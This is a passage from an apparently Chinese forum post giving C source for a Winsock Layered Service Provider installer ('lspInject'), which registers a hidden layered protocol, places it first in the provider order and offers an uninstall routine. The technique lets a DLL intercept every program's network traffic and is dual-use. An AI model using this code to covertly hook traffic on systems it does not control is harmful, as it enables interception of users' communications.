  58.     {//找符合条件的提供者,但不能是分层协议
  59.         if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
  60.         {
  61.             memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW));    //将原来的基础协议信息保存                                                               
  62.             save.dwServiceFlags1 &= ~XP1_IFS_HANDLES;        //去掉XP1_IFS_HANDLES标志
  63.             trueId = info[i].dwCatalogEntryId;
  64.             break;
  65.         }
  66.     }
  67.     //安装分层协议
  68.     WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分层协议
  69.     memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以这个保存的系统已有协议作为模板
  70.     lstrcpyW(Lpi.szProtocol, supplier);    //协议名,其实就是一个代号而已,可以随意起名
  71.     Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL;    //设置为分层协议
  72.     Lpi.dwProviderFlags |= PFL_HIDDEN;        //?
  73.     GUID pguid;                    //分层协议的guid
  74.     UuidCreate(&pguid);
  75.     memcpy(&layerGuid,&pguid,sizeof(GUID));
  76.     if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR)        //安装该分层协议
  77.     {
  78.         free(info);
  79.         return 0;
  80.     }
  81.     //重新枚举协议以获取分层协议的目录id
  82.     free(info);            //因为添加了一个分层协议,所以需要重新分配内存
  83.     DWORD layerId;        //保存分层协议目录id
  84.     WSCEnumProtocols(0, 0, &size, 0);
  85.     info = (LPWSAPROTOCOL_INFOW)malloc(size);
  86.     num = WSCEnumProtocols(0, info, &size, 0);
  87.     if (num == SOCKET_ERROR)
  88.     {
  89.         free(info);
  90.         return 0;
  91.     }
  92.     for (int i = 0; i < num; i++)        //遍历协议,直到找到刚才新增的分层协议
  93.     {
  94.         if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
  95.         {
  96.             layerId = info[i].dwCatalogEntryId;        //获取分层协议目录id
  97.         }
  98.     }
  99.     //安装协议链
  100.     WCHAR chainName[WSAPROTOCOL_LEN + 1];            //其实就是一个名字代号,和分层协议的名字一样
  101.     wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
  102.     lstrcpyW(save.szProtocol, chainName);        //改名字1
  103.     if (save.ProtocolChain.ChainLen == 1) //如果目标协议的正常提供者是基础协议则将其目录id放在协议链的第2个位置
  104.     {
  105.         save.ProtocolChain.ChainEntries[1] = trueId;        //将id写入到该协议链的ChainEntries数组中,这个数组只有当它是协议链时才有意义
  106.     }
  107.     else       //否则就是协议链提供者
  108.     {
  109.         for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是协议链则将该协议链中其他协议往后移,
  110.                                                              //以便将自己的分层协议插入到链首.但是这个数组最大存7个,所以如果原来就占满了,理论上会挤掉最后一个
  111.         {
  112.             save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
  113.         }
  114.     }
  115.     save.ProtocolChain.ChainEntries[0] = layerId;
  116.     save.ProtocolChain.ChainLen++;
  117.     //获取guid,安装协议链
  118.     GUID providerChainGuid;
  119.     UuidCreate(&providerChainGuid);
  120.     if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
  121.     {
  122.         free(info);
  123.         return 0;
  124.     }
  125.     //重新枚举协议
  126.     free(info);
  127.     WSCEnumProtocols(0, 0, &size, 0);
  128.     info = (LPWSAPROTOCOL_INFOW)malloc(size);
  129.     num = WSCEnumProtocols(0, info, &size, 0);
  130.     if (num == SOCKET_ERROR)
  131.     {
  132.         free(info);
  133.         return 0;
  134.     }
  135.     //遍历获取我们的协议链的目录id
  136.     DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //这个是协议链的目录id数组,把我们的协议链id
  137.                                                           //放在最前面,系统原来的按顺序放后面
  138.     DWORD cindex = 0;
  139.     for (int i = 0; i < num; i++)
  140.     {
  141.         if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
  142.         {
  143.             chainId[cindex] = info[i].dwCatalogEntryId;
  144.             cindex++;
  145.         }
  146.     }
  147.     for (int i = 0; i < num; i++)
  148.     {
  149.         if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
  150.         {
  151.             chainId[cindex] = info[i].dwCatalogEntryId;
  152.             cindex++;
  153.         }
  154.     }
  155.     if (WSCWriteProviderOrder(chainId, cindex) != 0)
  156.     {
  157.         free(info);
  158.         free(chainId);
  159.         return 0;
  160.     }
  161.     free(info);
  162.     free(chainId);
  163.     return 1;
  164. }
  165. DWORD uninstall()
  166. {
  167.     if(findGuid()==0)
  168.     {
  169.         return 0;
  170.     }
  171.     //枚举winsock目录中的协议
  172.     LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
  173.     DWORD size = 0;            //大小
  174.     DWORD num;                //数量
  175.         DWORD Id;            
  176.     DWORD result;
  177.     int cc;  //作为错误码,下面2个函数的错误码地址必须提供,否则会调用失败
  178.     WSCEnumProtocols(0, 0, &size, 0);
  179.     info = (LPWSAPROTOCOL_INFOW)malloc(size);
  180.     num = WSCEnumProtocols(0, info, &size, 0);
  181.     if (num == SOCKET_ERROR)
  182.     {
  183.         free(info);
  184.         return 0;
  185.     }
  186.     int i = 0;
  187.     for (i=0; i < num; i++)
  188.     {
  189.         if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
  190.         {
  191.             Id = info[i].dwCatalogEntryId;
  192.         }
  193.     }
  194.     if (i<=num)
  195.     {
  196.         for (i = 0; i < num; i++)
  197.         {
  198.             if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
  199.             {
  200.                 if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
  201.                 {
  202.                     
  203.                     free(info);
  204.                     return 0;
  205.                 }
  206.                 break;
  207.             }
  208.         }
  209.        free(info);
  210.         if((result=WSCDeinstallProvider(&layerGuid,  &cc))==SOCKET_ERROR)
  211.         {return 0;
  212.         }
  213.     }
  214.     else
  215.     {
  216.      free(info);
  217.         return 0;   
  218.     }return 1;
  219. }
  220. int main(int argc, char** argv)
  221. {
  222.     setlocale(LC_ALL, "chs");
  223.     int result;
  224.     if (argc!=2)
  225.     {
  226.         printf("usage:%s install or uninstall\n", argv[0]);
  227.         return 0;
  228.     }
  229.     if (strcmp(argv[1],"install")==0)
  230.     {
  231.         if (lspInject())
  232.         {
  233.             printf("install success\n");
  234.         }
  235.         else
  236.         {
  237.             printf("install error code is %d\n", GetLastError());
  238.         }
  239.     }
  240.     else if(strcmp(argv[1], "uninstall") == 0)
  241.     {
  242.         if (uninstall())
  243.         {
  244.             printf("uninstall success\n");
  245.         }
  246.         else
  247.         {
  248.             printf("uninstall error code is %d\n", GetLastError());
  249.         }
  250.     }
  251.     return 1;
  252. }
复制代码
结语
待续…………有空再更新!!!
官方网站
www.CHWM.vip

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表